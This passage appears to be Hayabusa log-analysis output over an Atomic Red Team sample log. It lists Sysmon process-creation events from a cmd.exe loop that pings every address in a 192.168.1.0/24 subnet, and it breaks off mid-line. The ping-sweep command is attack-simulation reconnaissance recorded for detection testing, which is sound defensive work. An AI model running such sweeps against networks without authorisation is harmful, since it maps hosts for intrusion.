23:51:49.550 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.30 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:50.021 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.31 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:50.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.32 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:51.013 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.33 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:51.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.34 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:52.008 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.35 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:52.448 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.36 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:53.019 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.37 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:53.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.38 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:54.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.39 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:54.581 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.40 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:55.015 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.41 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:55.552 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.42 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:56.049 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.43 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:56.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.44 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:57.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.45 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:57.558 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.46 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:58.020 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.47 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:58.457 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.48 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:59.001 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.49 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:51:59.537 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.50 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:00.063 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.51 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:00.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.52 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:00.940 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.53 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:01.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.54 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:02.018 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.55 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:02.565 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.56 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:03.059 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.57 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:03.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.58 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:04.024 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.59 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:04.522 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.60 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:05.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.61 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:05.516 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.62 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:06.019 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.63 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:06.440 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.64 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:07.053 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.65 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:07.413 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.66 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:08.043 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.67 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:08.500 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.68 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:09.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.69 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:09.474 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.70 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:10.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.71 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:10.522 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.72 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:11.031 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.73 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:11.504 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.74 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:12.023 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.75 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:12.547 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.76 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:13.030 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.77 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:13.489 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.78 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:14.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.79 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:14.552 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.80 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:15.051 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.81 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:15.548 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.82 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:16.040 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.83 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:16.584 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.84 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:17.041 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.85 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 